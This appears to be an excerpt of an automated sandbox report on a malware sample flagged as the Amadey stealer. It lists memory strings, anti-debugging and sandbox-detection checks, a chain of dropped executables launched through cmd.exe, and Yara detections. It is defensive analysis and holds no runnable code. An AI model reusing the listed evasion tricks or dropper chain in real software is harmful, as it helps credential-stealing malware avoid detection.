Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: xVBoxService.exe
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 624f4d727e.exe, 00000018.00000002.2899807297.000000000264F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: firefox.exe, 0000001E.00000003.2957174991.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958156579.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031858393.00000270CC6A2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958487375.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VBoxService.exe
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 0000001B.00000002.3277320082.0000000001EA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: VMWare
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: firefox.exe, 0000001E.00000003.2957174991.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958156579.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031858393.00000270CC6A2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958487375.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWB
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58389
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59567
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58392
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58410
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58411
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58432
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58231
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58403

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

Code function: 5_2_04D401D4 Start: 04D404E5 End: 04D40224

5_2_04D401D4

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	File opened: SIWVID

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

Code function: 5_2_04D40CDC rdtsc

5_2_04D40CDC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041ACFA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419160 mov eax, dword ptr fs:[00000030h]

0_2_00419160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C8D9 SetUnhandledExceptionFilter,	0_2_0041C8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041ACFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041A718
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C5DB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C5DB1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C78AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 2764, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 624f4d727e.exe PID: 8016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 624f4d727e.exe PID: 6648, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userAKKKFBGDHJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe "C:\Users\user\AppData\RoamingCFCGIIEHIE.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userAKKKFBGDHJ.exe "C:\Users\userAKKKFBGDHJ.exe"	Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe "C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe "C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe"
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account

Source: bdb44f72d9.exe, 00000017.00000002.3241866502.0000000000372000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3241111543.0000000000372000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: RoamingCFCGIIEHIE.exe, RoamingCFCGIIEHIE.exe, 00000005.00000002.2234128926.000000000054C000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, explorti.exe, 00000009.00000002.2272766960.000000000058C000.00000040.00000001.01000000.0000000C.sdmp, explorti.exe, 0000000A.00000002.2271816286.000000000058C000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Program Manager
Source: userAKKKFBGDHJ.exe, userAKKKFBGDHJ.exe, 00000008.00000002.2311861747.000000000022E000.00000040.00000001.01000000.0000000B.sdmp, axplong.exe, 00000010.00000002.2340574498.00000000009DE000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000012.00000002.3243966824.00000000009DE000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: ,cDProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB341 cpuid

0_2_6C5DB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00417420

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004172F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004174D0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 19.2.explorti.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.explorti.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.axplong.exe.7f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.userAKKKFBGDHJ.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.axplong.exe.7f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RoamingCFCGIIEHIE.exe.360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.explorti.exe.3a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000003.2223307017.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2311565762.0000000000041000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2231516085.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2272266422.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2671470506.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2299903441.0000000004980000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2193493268.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2229306012.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2233910747.0000000000361000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2270763682.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3241989382.00000000003A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
